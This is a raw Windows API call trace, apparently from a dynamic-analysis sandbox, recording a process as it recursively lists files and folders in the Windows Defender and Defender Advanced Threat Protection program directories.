	[0157.840] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a5b2a5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26a5b2a5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26a5b2a5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb2fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EppManifest.dll", cAlternateFileName="")) returned 1
	[0157.840] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26acd9d7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26acd9d7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26acd9d7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x169, dwReserved0=0x0, dwReserved1=0x0, cFileName="FepUnregister.mof", cAlternateFileName="")) returned 1
	[0157.840] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5152ad10, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x6f9baad, ftLastAccessTime.dwHighDateTime=0x1d2fa0b, ftLastWriteTime.dwLowDateTime=0x5152ad10, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x173a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpAsDesc.dll", cAlternateFileName="")) returned 1
	[0157.841] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a5b2a5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x70b0173c, ftLastAccessTime.dwHighDateTime=0x1d2fa08, ftLastWriteTime.dwLowDateTime=0x26a5b2a5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b1fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpAzSubmit.dll", cAlternateFileName="")) returned 1
	[0157.841] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5152ad10, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x6ca0b8b, ftLastAccessTime.dwHighDateTime=0x1d2fa0b, ftLastWriteTime.dwLowDateTime=0x5152ad10, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0xe9da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpClient.dll", cAlternateFileName="")) returned 1
	[0157.841] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5152ad10, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x6f2939c, ftLastAccessTime.dwHighDateTime=0x1d2fa0b, ftLastWriteTime.dwLowDateTime=0x5152ad10, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x6af10, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpCmdRun.exe", cAlternateFileName="")) returned 1
	[0157.841] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5152ad10, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x874d15c, ftLastAccessTime.dwHighDateTime=0x1d2fa0b, ftLastWriteTime.dwLowDateTime=0x5152ad10, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x53fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpCommu.dll", cAlternateFileName="")) returned 1
	[0157.841] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a5b2a5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26a5b2a5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26a5b2a5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1dba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpEvMsg.dll", cAlternateFileName="")) returned 1
	[0157.841] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5152ad10, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x880bd29, ftLastAccessTime.dwHighDateTime=0x1d2fa0b, ftLastWriteTime.dwLowDateTime=0x5152ad10, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x1d5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpOAV.dll", cAlternateFileName="")) returned 1
	[0157.841] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26acd9d7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26acd9d7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26acd9d7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2cda0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpProvider.dll", cAlternateFileName="")) returned 1
	[0157.841] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5152ad10, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x6507363, ftLastAccessTime.dwHighDateTime=0x1d2fa0b, ftLastWriteTime.dwLowDateTime=0x5152ad10, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0xac7a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpRtp.dll", cAlternateFileName="")) returned 1
	[0157.841] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5152ad10, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x842bfe5, ftLastAccessTime.dwHighDateTime=0x1d2fa0b, ftLastWriteTime.dwLowDateTime=0x5152ad10, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x2099a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpSvc.dll", cAlternateFileName="")) returned 1
	[0157.842] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a8150d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26a8150d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26aa7774, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x53a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpuxhostproxy.dll", cAlternateFileName="")) returned 1
	[0157.842] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26aa7774, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26aa7774, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26aa7774, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x139a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpUXSrv.exe", cAlternateFileName="")) returned 1
	[0157.842] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5152ad10, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x92ec92b, ftLastAccessTime.dwHighDateTime=0x1d2fa0b, ftLastWriteTime.dwLowDateTime=0x5152ad10, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x137d98, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSASCui.exe", cAlternateFileName="")) returned 1
	[0157.842] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26aa7774, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26aa7774, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26aa7774, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x999a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSASCuiL.exe", cAlternateFileName="")) returned 1
	[0157.842] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5152ad10, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x8537061, ftLastAccessTime.dwHighDateTime=0x1d2fa0b, ftLastWriteTime.dwLowDateTime=0x5152ad10, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x147a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsMpCom.dll", cAlternateFileName="")) returned 1
	[0157.842] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5152ad10, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x849e6f2, ftLastAccessTime.dwHighDateTime=0x1d2fa0b, ftLastWriteTime.dwLowDateTime=0x5152ad10, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x191a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsMpEng.exe", cAlternateFileName="")) returned 1
	[0157.842] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5152ad10, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x8537061, ftLastAccessTime.dwHighDateTime=0x1d2fa0b, ftLastWriteTime.dwLowDateTime=0x5152ad10, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x33a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsMpLics.dll", cAlternateFileName="")) returned 1
	[0157.842] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5152ad10, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x89d596d, ftLastAccessTime.dwHighDateTime=0x1d2fa0b, ftLastWriteTime.dwLowDateTime=0x5152ad10, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x6c9a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsMpRes.dll", cAlternateFileName="")) returned 1
	[0157.843] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26aa7774, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26aa7774, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26aa7774, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsMpResL.dll", cAlternateFileName="")) returned 1
	[0157.843] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a8150d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26a8150d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26a8150d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xeda0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NisLog.dll", cAlternateFileName="")) returned 1
	[0157.843] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a8150d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26a8150d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26a8150d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x538f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="NisSrv.exe", cAlternateFileName="")) returned 1
	[0157.843] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a8150d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26a8150d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26a8150d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x121a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NisWfp.dll", cAlternateFileName="")) returned 1
	[0157.843] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa8fdd5e7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a4f7cc5, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Offline", cAlternateFileName="")) returned 1
	[0157.843] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4520058
	[0157.843] lstrlenW (lpString="C:\\Program Files\\Windows Defender\\Offline") returned 41
	[0157.843] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Defender\\Offline\\*", lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa8fdd5e7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a4f7cc5, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd780
	[0157.843] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa8fdd5e7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a4f7cc5, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0157.843] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a0eddf, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26a0eddf, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26a0eddf, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x261a0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EppManifest.dll", cAlternateFileName="")) returned 1
	[0157.844] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x269e8b6c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x269e8b6c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x269e8b6c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x161a0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MsMpCom.dll", cAlternateFileName="")) returned 1
	[0157.844] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x269e8b6c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x269e8b6c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x269e8b6c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x37a0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MsMpLics.dll", cAlternateFileName="")) returned 1
	[0157.844] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a8150d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26a8150d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26a8150d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x70ba0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OfflineScannerShell.exe", cAlternateFileName="")) returned 1
	[0157.844] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a8150d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26a8150d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26a8150d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x70ba0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OfflineScannerShell.exe", cAlternateFileName="")) returned 0
	[0157.844] FindClose (in: hFindFile=0x5dd780 | out: hFindFile=0x5dd780) returned 1
	[0157.844] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0157.844] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26aa7774, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26aa7774, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26aa7774, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x851a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProtectionManagement.dll", cAlternateFileName="")) returned 1
	[0157.844] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26acd9d7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26acd9d7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26acd9d7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe050, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProtectionManagement.mof", cAlternateFileName="")) returned 1
	[0157.844] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26aa7774, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26aa7774, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26aa7774, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProtectionManagement_Uninstall.mof", cAlternateFileName="")) returned 1
	[0157.845] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26aa7774, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26aa7774, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26aa7774, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x505a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="shellext.dll", cAlternateFileName="")) returned 1
	[0157.845] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a8150d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26a8150d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26a8150d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x264c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SymSrv.dll", cAlternateFileName="")) returned 1
	[0157.845] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a8150d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26a8150d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26a8150d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1, dwReserved0=0x0, dwReserved1=0x0, cFileName="SymSrv.yes", cAlternateFileName="")) returned 1
	[0157.845] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a3503e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x70b0173c, ftLastAccessTime.dwHighDateTime=0x1d2fa08, ftLastWriteTime.dwLowDateTime=0x26a3503e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x443, dwReserved0=0x0, dwReserved1=0x0, cFileName="ThirdPartyNotices.txt", cAlternateFileName="")) returned 1
	[0157.845] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a3503e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x70b0173c, ftLastAccessTime.dwHighDateTime=0x1d2fa08, ftLastWriteTime.dwLowDateTime=0x26a3503e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x443, dwReserved0=0x0, dwReserved1=0x0, cFileName="ThirdPartyNotices.txt", cAlternateFileName="")) returned 0
	[0157.845] FindClose (in: hFindFile=0x5dd440 | out: hFindFile=0x5dd440) returned 1
	[0157.845] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4540068 | out: hHeap=0x4f0000) returned 1
	[0157.845] FindNextFileW (in: hFindFile=0x5dd6c0, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa8fde0ed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Defender Advanced Threat Protection", cAlternateFileName="WIF4A9~1")) returned 1
	[0157.845] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4540068
	[0157.845] lstrlenW (lpString="C:\\Program Files\\Windows Defender Advanced Threat Protection") returned 60
	[0157.845] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Defender Advanced Threat Protection\\*", lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa8fde0ed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd440
	[0157.863] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa8fde0ed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0157.863] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa8fde773, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0157.863] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4520058
	[0157.863] lstrlenW (lpString="C:\\Program Files\\Windows Defender Advanced Threat Protection\\en-US") returned 66
